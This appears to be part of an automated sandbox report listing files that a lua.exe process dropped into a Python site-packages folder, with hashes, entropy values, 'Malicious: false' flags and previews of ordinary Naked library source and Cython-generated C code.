MD5:	52D9AEE0618A96E1F1D0B4D06FCB44D7
SHA1:	49864CF598841AC64739C2FA3D5A4E24B9419EAF
SHA-256:	9E31121D6BB0E61782D848D17BC9BB0606355AFDA05CC5129DFD128D72CBA41E
SHA-512:	BD6E658111E5E25653B2A5D73CB60A8575B82DEC10F82713116FA5CC09588F7A52804F0ED45ADB1607C742DF883CAE30DD89841B3325727C2A4DC19E35F8E1B8
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8..# VARS: app_name.readme_md_string = """.{{app_name}}.=====.""".

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\templates\settings_file.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1179
Entropy (8bit):	2.5644646055655107
Encrypted:	false
SSDEEP:	12:Hcc9MyQvdEpc9ox/22fsYuzAo0mAXALeOWeLsujlcLLifYeHIb4v:8cSdacSxbUTzAo03EeojlkifYeHI8v
MD5:	3F6B17925EDA504E8330A0DB797FEB2A
SHA1:	03CD5DB3DC58FA2C62306CAF4BC63CA6BA2F6302
SHA-256:	6E409F404FEAA7EB5D5C2C0174823FE08A9A3B65395C953287E42F4F2A4E5B5B
SHA-512:	1315488A3E581D9FA2662E0D152ABFA8350C5089C97A696CC2B58FE59BFC1AD839E29DA98F3F285E5ADAF66EBC1D7EDE79798E33B940B8720AE45E20DFFF6A70
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8..# VARS = app_name.settings_file_string = """.#!/usr/bin/env python.# encoding: utf-8..#------------------------------------------------------------------------------.# Application Name.#------------------------------------------------------------------------------.app_name = '{{app_name}}'..#------------------------------------------------------------------------------.# Version Number.#------------------------------------------------------------------------------.major_version = "0".minor_version = "1".patch_version = "0"..#------------------------------------------------------------------------------.# Debug Flag (switch to False for production release code).#------------------------------------------------------------------------------.debug = True..#------------------------------------------------------------------------------.# Usage String.#------------------------------------------------------------------------------.usage = ''..#--------

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\templates\setup_cfg_file.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	107
Entropy (8bit):	4.857317570794172
Encrypted:	false
SSDEEP:	3:TKQWaHMPAtgDKCtQlqeM2FAxC6Qc9v/0veSEJFhP:HWaHUclqeMJC6Qct/02Sg7
MD5:	A27CE4C338BAA05CA187411176FE32B8
SHA1:	C0F84F1E2C1616C9060A9404D6FE32B2EEA41AA1
SHA-256:	065F809284167B602D875DCBEBC27AA67CD53F2CF41519ABEEF08A21DC9E0245
SHA-512:	9641C00F0A939E45E546EE9611AE0C13501838A3D6B3D38264B556121FCBB7692F3AB9A58071AC5679A5B6845546A2C3FD6761C87C07D8957E40F73D6B7FEA3B
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8..# VARS: --none--.setup_cfg_string = """.[wheel].universal = 1.""".

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\templates\setup_py_file.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1769
Entropy (8bit):	4.896614138064879
Encrypted:	false
SSDEEP:	48:8j1byhNR9VYs9/NUQ9ilgDVs6PxnLy5/fJksJz7O:8xyPhuGDmShgnJO
MD5:	92161397274AFDC4B74826A1228036B9
SHA1:	D64E815EB92ECE4B149C480909EEBC9D6D44FAFC
SHA-256:	6767341690D32A744FDADC4907B7D2084903D7B0A7C9380814E2C246547F920B
SHA-512:	3034564E53A311A40803A82CE263501E9E8282371F125F03583AD5A06575971230E253B497227A73772F764209CB86B008A1426ED7867099EFFD6F080A5B9769
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8..# VARS: app_name, developer, license.setup_py_string = (""".import os.import re.from setuptools import setup, find_packages...def docs_read(fname):. return open(os.path.join(os.path.dirname(__file__), 'docs', fname)).read()..def version_read():. settings_file = open(os.path.join(os.path.dirname(__file__), 'lib', '{{app_name}}', 'settings.py')).read(). major_regex = """ + '"""' + """major_version\s?=\s?["']{1}(\d+)["']{1}""" + '"""' + '\n ' +. 'minor_regex = ' + '"""' + """minor_version\s?=\s?["']{1}(\d+)["']{1}""" + '"""' + '\n ' +. 'patch_regex = ' + '"""' + """patch_version\s?=\s?["']{1}(\d+)["']{1}""" + '"""' + '\n ' +. """major_match = re.search(major_regex, settings_file). minor_match = re.search(minor_regex, settings_file). patch_match = re.search(patch_regex, settings_file). major_version = major_match.group(1). minor_version = minor_match.group(1). patch_version = patch_match.group(1). i

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\benchmarking.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	17235
Entropy (8bit):	4.329409338934104
Encrypted:	false
SSDEEP:	192:DTtEammamhamVEambEamXEamMLFXILH7PeowKtVooQItacksMSm7eowKtVooQItU:Dh7A24Eg5jH3
MD5:	8F78D335369F821A95789D02D6CE0B0F
SHA1:	5741F067066AACC35C4623C41350F3CFEB898E3B
SHA-256:	0E7E445E647FC2202D1BE9AA5A6045409FE2EF8F7FFA1675F8FC440704AC0304
SHA-512:	D0B67BC6D72382FAB9117856DC2A59DB6F4340BB9B93D43B2F4969CD4C47DD99BDECDFA48501173BE3963971143515760DF02143B05D5A8C08B58F0302FA13BD
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8..import sys.import time.import gc.from functools import wraps..#------------------------------------------------------------------------------.# [ timer function decorator ].# runs timed repetitions of the decorated function in a single trial.# default is 100,000 repetitions in the trial.# reports the results of the trial.# Usage example:.# from Naked.toolshed.benchmarking import timer.# @timer.# def myfunction():.#------------------------------------------------------------------------------.def timer(func, repetitions=100000):. @wraps(func). def wrapper(args, kwargs):. sys.stdout.write("Starting " + str(repetitions) + " repetitions of " + func.__name__ + "()..."). sys.stdout.flush(). print(" "). # disable garbage collection. gc.collect(). gc.disable(). start = time.time(). for x in range(repetitions):. result = func(args, **kwargs). end = t

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\c\benchmarking.c Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	C source, ASCII text, with very long lines
Category:	dropped
Size (bytes):	880286
Entropy (8bit):	5.100683969209631
Encrypted:	false
SSDEEP:	12288:9RxIp9D+D7f5FjNNS7VR6X5HQTy6trz/0oLkFpD7VmDT1NP2LGTlTN6j6rvcw3K8:e
MD5:	353868F6BC3FC6259EB8998EE9B8E744
SHA1:	C2CC16BDD49FBDEF932BD49B97F4E8076DEA79E3
SHA-256:	50360CCA8DDE68C401D1C736F007E4C9E3D42C442EBEDA9A15E6562BD0E0CCB3
SHA-512:	507669DDFF584129370BF28FF18BDA50070A6BEE454711F9F31C07244BE9CA36AAF0E86C128E4B9156951C69EEB560547B1C1341CF0FA1128E3D465C2BB01C64
Malicious:	false
Preview:	/* Generated by Cython 0.20.1 on Sun Mar 16 22:58:12 2014 /..#define PY_SSIZE_T_CLEAN.#ifndef CYTHON_USE_PYLONG_INTERNALS.#ifdef PYLONG_BITS_IN_DIGIT.#define CYTHON_USE_PYLONG_INTERNALS 0.#else.#include "pyconfig.h".#ifdef PYLONG_BITS_IN_DIGIT.#define CYTHON_USE_PYLONG_INTERNALS 1.#else.#define CYTHON_USE_PYLONG_INTERNALS 0.#endif.#endif.#endif.#include "Python.h".#ifndef Py_PYTHON_H. #error Python headers needed to compile C extensions, please install development version of Python..#elif PY_VERSION_HEX < 0x02040000. #error Cython requires Python 2.4+..#else.#define CYTHON_ABI "0_20_1".#include <stddef.h> / For offsetof /.#ifndef offsetof.#define offsetof(type, member) ( (size_t) & ((type)0) -> member ).#endif.#if !defined(WIN32) && !defined(MS_WINDOWS). #ifndef __stdcall. #define __stdcall. #endif. #ifndef __cdecl. #define __cdecl. #endif. #ifndef __fastcall. #define __fastcall. #endif.#endif.#ifndef DL_IMPORT. #define DL_IMPORT(t) t.#endif.#ifndef DL_EXPORT.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\c\benchmarking.pyx Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	17235
Entropy (8bit):	4.329409338934104
Encrypted:	false
SSDEEP:	192:DTtEammamhamVEambEamXEamMLFXILH7PeowKtVooQItacksMSm7eowKtVooQItU:Dh7A24Eg5jH3
MD5:	8F78D335369F821A95789D02D6CE0B0F
SHA1:	5741F067066AACC35C4623C41350F3CFEB898E3B
SHA-256:	0E7E445E647FC2202D1BE9AA5A6045409FE2EF8F7FFA1675F8FC440704AC0304
SHA-512:	D0B67BC6D72382FAB9117856DC2A59DB6F4340BB9B93D43B2F4969CD4C47DD99BDECDFA48501173BE3963971143515760DF02143B05D5A8C08B58F0302FA13BD
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8..import sys.import time.import gc.from functools import wraps..#------------------------------------------------------------------------------.# [ timer function decorator ].# runs timed repetitions of the decorated function in a single trial.# default is 100,000 repetitions in the trial.# reports the results of the trial.# Usage example:.# from Naked.toolshed.benchmarking import timer.# @timer.# def myfunction():.#------------------------------------------------------------------------------.def timer(func, repetitions=100000):. @wraps(func). def wrapper(args, kwargs):. sys.stdout.write("Starting " + str(repetitions) + " repetitions of " + func.__name__ + "()..."). sys.stdout.flush(). print(" "). # disable garbage collection. gc.collect(). gc.disable(). start = time.time(). for x in range(repetitions):. result = func(args, **kwargs). end = t

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\c\build.sh Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	36
Entropy (8bit):	4.218128820706467
Encrypted:	false
SSDEEP:	3:G7LkxHv:oKP
MD5:	7371D042C02BBAF2AA5A4E2EECCA1A0D
SHA1:	2CB21D7D2B68236EE0BEF331645F7DB3275C2F92
SHA-256:	2C4B59C2BC3D03A4F1E19FAD49FE248D22852D3C97F7BC6CE6EA0905C8AD07CC
SHA-512:	7C844E89B8F1C6E2FBBD4B84B9F226CA72520258D5F37E1DFA4DAF2C2F914B683D9F2953A09FD43BC58D1692351D7A477CBB62C440A57EB2D1467E5EB23E9F21
Malicious:	false
Preview:	python setup.py build_ext --inplace.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\c\casts.c Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	C source, ASCII text, with very long lines
Category:	dropped
Size (bytes):	227012
Entropy (8bit):	5.109178694678501
Encrypted:	false
SSDEEP:	6144:k+KnpzScePDeev2bMP8RiCqeo1QZjFtWHEvurE8:9r9
MD5:	04524C30B8DA4D8A72342182234975EE
SHA1:	5E1C3317E1592FA95BF1E36A019B36A75352C6DD
SHA-256:	6E0123EC19AD29C1E631DD56E6A21C382F3F287E413FAEB3DF1FED2CC17837B2
SHA-512:	88D16F4D99ABE898BD96CE878EB6A9B702ED9CDB4A32B47447002A0811E942F8EDD48062CD257F18D317379378A09B273DAB17C8EAE508122121BF7B9F8941EB
Malicious:	false
Preview:	/* Generated by Cython 0.20.1 on Sun Mar 16 22:58:13 2014 /..#define PY_SSIZE_T_CLEAN.#ifndef CYTHON_USE_PYLONG_INTERNALS.#ifdef PYLONG_BITS_IN_DIGIT.#define CYTHON_USE_PYLONG_INTERNALS 0.#else.#include "pyconfig.h".#ifdef PYLONG_BITS_IN_DIGIT.#define CYTHON_USE_PYLONG_INTERNALS 1.#else.#define CYTHON_USE_PYLONG_INTERNALS 0.#endif.#endif.#endif.#include "Python.h".#ifndef Py_PYTHON_H. #error Python headers needed to compile C extensions, please install development version of Python..#elif PY_VERSION_HEX < 0x02040000. #error Cython requires Python 2.4+..#else.#define CYTHON_ABI "0_20_1".#include <stddef.h> / For offsetof /.#ifndef offsetof.#define offsetof(type, member) ( (size_t) & ((type)0) -> member ).#endif.#if !defined(WIN32) && !defined(MS_WINDOWS). #ifndef __stdcall. #define __stdcall. #endif. #ifndef __cdecl. #define __cdecl. #endif. #ifndef __fastcall. #define __fastcall. #endif.#endif.#ifndef DL_IMPORT. #define DL_IMPORT(t) t.#endif.#ifndef DL_EXPORT.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\c\casts.pyx Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4813
Entropy (8bit):	4.3828874593097655
Encrypted:	false
SSDEEP:	96:8v/+axtNfyuGLLGOJZ/pOn2d2ZgBDUxORT12BDvyth7:e/+avN6uGXGOz2jgFL12FUh7
MD5:	40CF5D8A05520D516347FBD4B4E2EE79
SHA1:	F5FC789EBC66E2897784EED8849FC15E8264CD23
SHA-256:	26AE96B77ADEEDF4B5FABCBDB83E01DFCC9F1A2F826F0871B0B665F07383362B
SHA-512:	DA479A715D5B4E372AA7BA972769AB66744076CCF2C5381DE16E88A48289DD735941B52FEFBB469736EC69E3F4AD22205362284F053D632C109BBABCC6E0C4AF
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8.# cython: profile=True..cdef inline int increment(object iterable, object test_string):. cdef int count = 0. cdef object thing. for thing in iterable:. if thing == test_string:. count += 1. return count..from Naked.toolshed.c.types import NakedObject, XFSet, XDict, XList, XQueue, XSet, XString.from Naked.settings import debug as DEBUG_FLAG..#------------------------------------------------------------------------------.# [ nob ] (NakedObject).# Cast a dictionary of attributes to a NakedObject with key>attribute mapping.#------------------------------------------------------------------------------.def nob(attributes={}):. try:. return NakedObject(attributes). except Exception as e:. if DEBUG_FLAG:. print("Naked Framework Error: unable to create a NakedObject with the requested argument using the nobj() function (Naked.toolshed.casts.py)."). raise e..#----------------------------

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\c\cstate.c Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	C source, ASCII text, with very long lines
Category:	dropped
Size (bytes):	134375
Entropy (8bit):	5.139015781875851
Encrypted:	false
SSDEEP:	3072:7sW9UHJPdoHYwETxs7HWyJDIOVFzqwB2l31GhiLD1wznuy95W+bzd1AhLOPCXCL8:NUHJPdoHYwETxs7HWyJDIOVFzqwB2l3F
MD5:	339F4F0E78560B3F10E355309107153F
SHA1:	615ED7C8C621F8E9F4B210655F27EACA42EB61A7
SHA-256:	A937BF7B8EA00AD19851D82DFBEBA51E5F4D684E13FCAEE3EC3E55F770146B00
SHA-512:	13D9F8F79B69E3F8601F83D2D9D965FA7857D0D3C72E647116976F6945151A325BB72EED5938A89F27C1C396F82AA2D0B24A0788547918B0C44274835B868849
Malicious:	false
Preview:	/* Generated by Cython 0.20.1 on Sun Mar 16 22:58:16 2014 /..#define PY_SSIZE_T_CLEAN.#ifndef CYTHON_USE_PYLONG_INTERNALS.#ifdef PYLONG_BITS_IN_DIGIT.#define CYTHON_USE_PYLONG_INTERNALS 0.#else.#include "pyconfig.h".#ifdef PYLONG_BITS_IN_DIGIT.#define CYTHON_USE_PYLONG_INTERNALS 1.#else.#define CYTHON_USE_PYLONG_INTERNALS 0.#endif.#endif.#endif.#include "Python.h".#ifndef Py_PYTHON_H. #error Python headers needed to compile C extensions, please install development version of Python..#elif PY_VERSION_HEX < 0x02040000. #error Cython requires Python 2.4+..#else.#define CYTHON_ABI "0_20_1".#include <stddef.h> / For offsetof /.#ifndef offsetof.#define offsetof(type, member) ( (size_t) & ((type)0) -> member ).#endif.#if !defined(WIN32) && !defined(MS_WINDOWS). #ifndef __stdcall. #define __stdcall. #endif. #ifndef __cdecl. #define __cdecl. #endif. #ifndef __fastcall. #define __fastcall. #endif.#endif.#ifndef DL_IMPORT. #define DL_IMPORT(t) t.#endif.#ifndef DL_EXPORT.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\c\cstate.pyx Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1089
Entropy (8bit):	4.880237201616399
Encrypted:	false
SSDEEP:	24:8cR5OALR9dVY58fAlQo/k3Xs+3CqoMAGXcmRJPf5kxUm2w8+vl+vnKWaT:8U0ALh+58fLo/+Xs8zAGXcoJPf5xm2ET
MD5:	5AF73C652D7032F60A7F395A2B52AC88
SHA1:	5A63D519915B7AFF53633C1F5537E43527FA1C31
SHA-256:	E440F10639DE28247213042C959B2908B9750368BB74CB4422ED667CCEF9AA9A
SHA-512:	14C96D68E4674BF8FDE911F293031547A5C4CFFAE5819C261A76A8AD1163D7C2AC3EA192C133583CF5A41B1DDD9382137CCACD978D5771BAE5CAE62D10F82428
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8.# cython: profile=False..from Naked.settings import debug as DEBUG_FLAG.from Naked.toolshed.c.system import cwd.import Naked.toolshed.c.python as py.import sys.import os.import datetime..class StateObject:..def __init__(self):...now = datetime.datetime.now()...self.py2 = py.is_py2() #truth test Python 2 interpreter...self.py3 = py.is_py3() #truth test Python 3 interpreter...self.py_major = py.py_major_version() #Python major version...self.py_minor = py.py_minor_version() #Python minor version...self.py_patch = py.py_patch_version() #Python patch version...self.os = sys.platform #user operating system...self.cwd = cwd() #current (present) working directory...self.parent_dir = os.pardir...self.default_path = os.defpath...self.user_path = os.path.expanduser("~")...self.string_encoding = sys.getdefaultencoding()...self.file_encoding = sys.getfilesystemencoding()...self.hour = now.hour...self.min = now.minute...self.year = now.year...self.day = now.d

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\c\cythonize.sh Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	256
Entropy (8bit):	4.2694332361377105
Encrypted:	false
SSDEEP:	6:Ejbir3lUU+y9suyvmrevQAvcUYLEvYX8a:EwVUU+yiuyerYvI4i8a
MD5:	10DA0E83902F49D49A125D2B985F10A9
SHA1:	D9BB203C12563A54243B81CEE96A293C0B390662
SHA-256:	F85CB9AB4A0C02A38A8F96850DF46E69050FA6A1AB2824836AD3DD16DD1DFF32
SHA-512:	C51270ED83CEFCA3338FB394CB97297A284BA6AE169DC4AE9CAC54E91CE61D89649476891E9AB55FEB38AB53EDC7BB57E9AE44ABC2DAE61BD4904801FC1814B2
Malicious:	false
Preview:	echo "Cythonizing .pyx files to C files"..cython benchmarking.pyx.cython casts.pyx.cython file.pyx.cython ink.pyx.cython network.pyx.cython python.pyx.cython shell.pyx.cython cstate.pyx.cython system.pyx.cython types.pyx...echo "Cythonization is complete".

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\c\file.c Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	C source, ASCII text, with very long lines
Category:	dropped
Size (bytes):	623270
Entropy (8bit):	4.9927811254669106
Encrypted:	false
SSDEEP:	6144:7uAuYuWuGuNu9uMufu8uuumukHguRqumfu5ISbIku/uuzIIuQMDI6u8jExkcI+uU:P
MD5:	4A76738433CB37EEEBA80FAA0F85368D
SHA1:	D309ABA37354AF3DA24E0BFA225DFD0BEFEBA460
SHA-256:	0ED2D7194E49CD22420F30BCB59C4CD24FEE71FDCE3707A9C41E90D5F8A92F52
SHA-512:	7D113AF5D43424B3AF67B09BFBE938F1CF22F8DABEA30B6D1CA1298C1EFD949173F16B0A911CB73AC19FE3B16BF2E0B514BF86974F92DBEC8168A77201248DD2
Malicious:	false
Preview:	/* Generated by Cython 0.20.1 on Sun Mar 16 22:58:13 2014 /..#define PY_SSIZE_T_CLEAN.#ifndef CYTHON_USE_PYLONG_INTERNALS.#ifdef PYLONG_BITS_IN_DIGIT.#define CYTHON_USE_PYLONG_INTERNALS 0.#else.#include "pyconfig.h".#ifdef PYLONG_BITS_IN_DIGIT.#define CYTHON_USE_PYLONG_INTERNALS 1.#else.#define CYTHON_USE_PYLONG_INTERNALS 0.#endif.#endif.#endif.#include "Python.h".#ifndef Py_PYTHON_H. #error Python headers needed to compile C extensions, please install development version of Python..#elif PY_VERSION_HEX < 0x02040000. #error Cython requires Python 2.4+..#else.#define CYTHON_ABI "0_20_1".#include <stddef.h> / For offsetof /.#ifndef offsetof.#define offsetof(type, member) ( (size_t) & ((type)0) -> member ).#endif.#if !defined(WIN32) && !defined(MS_WINDOWS). #ifndef __stdcall. #define __stdcall. #endif. #ifndef __cdecl. #define __cdecl. #endif. #ifndef __fastcall. #define __fastcall. #endif.#endif.#ifndef DL_IMPORT. #define DL_IMPORT(t) t.#endif.#ifndef DL_EXPORT.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\c\file.pyx Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	19965
Entropy (8bit):	4.301083277627346
Encrypted:	false
SSDEEP:	192:iOSFvnSlqKoWFD1fg8OQzdk4sHzVO8r1uWFHOa1iCYhulbUkc/X:iOivSYAH3244T5N68C
MD5:	B7ABD0AB30C718F781BB9DE9D474449D
SHA1:	C7AAFF03C9A27A65A22309AD44944E5D79B704CA
SHA-256:	AEEDEBFBB415813B9B677B1B6CD3BF8EA174A3FA9F2416337C64973CBED7D7C7
SHA-512:	725942C4C5F274756427288E372E196028E182CAE38FAA5E889A594534C0C33B216CC4C486F425349654FD4C905D2C761F1298E5D789CC8453FB614CB706B37D
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8.# cython: profile=False..import sys.from Naked.settings import debug as DEBUG_FLAG..#------------------------------------------------------------------------------.# [ IO class ].# interface for all local file IO classes.#------------------------------------------------------------------------------.class IO:. def __init__(self,filepath):. self.filepath = filepath..#------------------------------------------------------------------------------.# [ FileWriter class ].# writes data to local files.#------------------------------------------------------------------------------.class FileWriter(IO):. def __init__(self, filepath):. IO.__init__(self, filepath).. #------------------------------------------------------------------------------. # [ append method ]. # Universal text file writer that appends to existing file using system default text encoding or utf-8 if throws unicode error. # Tests: test_IO.py:: test_f

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\c\ink.c Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	C source, ASCII text, with very long lines
Category:	dropped
Size (bytes):	185313
Entropy (8bit):	5.124705018757957
Encrypted:	false
SSDEEP:	3072:JsWwsZuMaFudiHo+/D5H6CsJfIyuXqvg7Y5TcIwarajIju74Wd5fhh1kO/8N503c:usZuMaFudiH9/D5H6CsJfIyuXqvg7Y5R
MD5:	11135C86FBE9BE622A1D0B3955A2AEC2
SHA1:	862E7601C14EF885F54FB0DF8685325C06803D7D
SHA-256:	2F46EB375A03F9A8AB4CB155DFBF307E42D9EABD4C8001E8CEC9791A568C8DDA
SHA-512:	D2F493D7EB4D4A39CF0D7BDB29681D4617821306C254721E9F7DE6C3EE85C17BEE841A854976227BCC3F08D4549BD304A28A559E82C08F9C193B1C670CB725AB
Malicious:	false
Preview:	/* Generated by Cython 0.20.1 on Sun Mar 16 22:58:14 2014 /..#define PY_SSIZE_T_CLEAN.#ifndef CYTHON_USE_PYLONG_INTERNALS.#ifdef PYLONG_BITS_IN_DIGIT.#define CYTHON_USE_PYLONG_INTERNALS 0.#else.#include "pyconfig.h".#ifdef PYLONG_BITS_IN_DIGIT.#define CYTHON_USE_PYLONG_INTERNALS 1.#else.#define CYTHON_USE_PYLONG_INTERNALS 0.#endif.#endif.#endif.#include "Python.h".#ifndef Py_PYTHON_H. #error Python headers needed to compile C extensions, please install development version of Python..#elif PY_VERSION_HEX < 0x02040000. #error Cython requires Python 2.4+..#else.#define CYTHON_ABI "0_20_1".#include <stddef.h> / For offsetof /.#ifndef offsetof.#define offsetof(type, member) ( (size_t) & ((type)0) -> member ).#endif.#if !defined(WIN32) && !defined(MS_WINDOWS). #ifndef __stdcall. #define __stdcall. #endif. #ifndef __cdecl. #define __cdecl. #endif. #ifndef __fastcall. #define __fastcall. #endif.#endif.#ifndef DL_IMPORT. #define DL_IMPORT(t) t.#endif.#ifndef DL_EXPORT.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\c\ink.pyx Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	5460
Entropy (8bit):	4.365772585042448
Encrypted:	false
SSDEEP:	96:8T1IrepFdlbKM3EivWIWEiElqUls9SLmzKM50ku:88M3vvWIY3507
MD5:	F0BA5AFE3A23D1682B19215F7D2D26D5
SHA1:	C513C0D4E312FAE601BA34EDBC68285BFC7C2024
SHA-256:	AFBDDBF0DE3A6E819AEC27ABC3CF2E3C693796E3505A0A04ED24B646EE24D32B
SHA-512:	D5794A38A1EDC81FECC9D3255939C9475EBD72A8FB1BE8B46DAB7DE11C5AE78DA9FF995BAE807C222744029307CEDC36B2D8A8E18197C8E8814CB7ACD519479E
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8.# cython: profile=False..#------------------------------------------------------------------------------.# The Ink Templating System.# A lightweight, fast, flexible text templating system.# Copyright 2014 Christopher Simpkins.# MIT License.#------------------------------------------------------------------------------.import re..#------------------------------------------------------------------------------.# Template class.# A template string class that is inherited from Python str.# Includes metadata about the template:.# odel = opening delimiter.# cdel = closing delimiter.# varlist = inclusive list of all variables in the template text (parsed in constructor).# Delimiters:.# default = {{variable}}.# assign new opening and closing delimiters as parameters when you make a new Template instance.# `escape_regex` boolean is a speedup, avoids Python escape of special regex chars if you do not need it.#------------------------

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\c\network.c Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	C source, ASCII text, with very long lines
Category:	dropped
Size (bytes):	525661
Entropy (8bit):	5.001289473872488
Encrypted:	false
SSDEEP:	6144:RuXuN3uHug9uyGueumi6unVI5u1c3sx3INudSXcomsEKPbtTt4IKuWrGNk4mj/rO:59
MD5:	0B0BF4D82D8B66B87E98E6029FD5E42A
SHA1:	D5E9A92D938B3B40089A98E71DCC0C1E95238376
SHA-256:	7EDF9BAA7AF77ABBE9843D485E25CDF64AEA67A1893E62C0D8E76B1FD37C09A1
SHA-512:	2268C61D4315613D5793A2F47A9F45B08BADEA75D5E659204D4B2110DAC64EEE544585C3E221FE27D75A5F518A0A677AF6FF14A84C87302E329C90BB0EA59358
Malicious:	false
Preview:	/* Generated by Cython 0.20.1 on Sun Mar 16 22:58:14 2014 /..#define PY_SSIZE_T_CLEAN.#ifndef CYTHON_USE_PYLONG_INTERNALS.#ifdef PYLONG_BITS_IN_DIGIT.#define CYTHON_USE_PYLONG_INTERNALS 0.#else.#include "pyconfig.h".#ifdef PYLONG_BITS_IN_DIGIT.#define CYTHON_USE_PYLONG_INTERNALS 1.#else.#define CYTHON_USE_PYLONG_INTERNALS 0.#endif.#endif.#endif.#include "Python.h".#ifndef Py_PYTHON_H. #error Python headers needed to compile C extensions, please install development version of Python..#elif PY_VERSION_HEX < 0x02040000. #error Cython requires Python 2.4+..#else.#define CYTHON_ABI "0_20_1".#include <stddef.h> / For offsetof /.#ifndef offsetof.#define offsetof(type, member) ( (size_t) & ((type)0) -> member ).#endif.#if !defined(WIN32) && !defined(MS_WINDOWS). #ifndef __stdcall. #define __stdcall. #endif. #ifndef __cdecl. #define __cdecl. #endif. #ifndef __fastcall. #define __fastcall. #endif.#endif.#ifndef DL_IMPORT. #define DL_IMPORT(t) t.#endif.#ifndef DL_EXPORT.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\c\network.pyx Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	19549
Entropy (8bit):	4.333578826016716
Encrypted:	false
SSDEEP:	192:iJ/GqPqvvWvH9pBE3O4cLtb3o4E/T16vMxv2Mvr8Bj4BoGaLtssQiT2sBGxhO:ipFSmVpa33c93o4gwKbABUBoGbsusBn
MD5:	D3AF924DFBA7EB2869EF86323C404CEE
SHA1:	58A6479CB06D0E0490624F16E68EC3BF492D764E
SHA-256:	F8D5FEED115B3760C0B0E756E26BED3589C23F51951F1F0242E6E62FBC236908
SHA-512:	0B68051B89877088F3D3F0644516AC83E8C8B3E92660152CF699EA9CC309238ABB2CBC179C6B0908ED3CBF2F75E2809ECA08D6A3FEE766B2E7833F4ACAD290B5
Malicious:	false
Preview:	#!/usr/bin/env python.# encoding: utf-8.# cython: profile=False..import sys.import requests.from Naked.settings import debug as DEBUG_FLAG..#------------------------------------------------------------------------------.#[ HTTP class].# handle HTTP requests.# Uses the requests external library to handle HTTP requests and response object (available on PyPI).#------------------------------------------------------------------------------.class HTTP():. def __init__(self, url="", request_timeout=10):. self.url = url. self.request_timeout = request_timeout. #------------------------------------------------------------------------------. # HTTP response properties (assignment occurs with the HTTP request methods). #------------------------------------------------------------------------------. self.res = None # assigned with the requests external library response object after a HTTP method call.. #---------------------------------------------

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Naked\toolshed\c\python.c Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	C source, ASCII text, with very long lines
Category:	dropped
Size (bytes):	111860
Entropy (8bit):	5.157470150033021
Encrypted:	false
SSDEEP:	3072:QsWB858YWIM6KMQWCws1ZxDhLOPCXCLZO:7M6KMQWCws1Z08
MD5:	6FB3A940141BF75699F0417FB2A62121
SHA1:	FA3F00BDCE27E38635099A3046A0E3E7BE86AA9C
SHA-256:	136AC0403AB5A5581E84CC0341E9CD1796592017696AE1CA0394CA14F5B10529
SHA-512:	DDCB72FA91C6022867D27A84D385630DCC3C468136F9567337B011373E6862F2D8C129142ABB7273548BFC5C53111E544326F9ED9F74790DC4C50B327456CD06
Malicious:	false
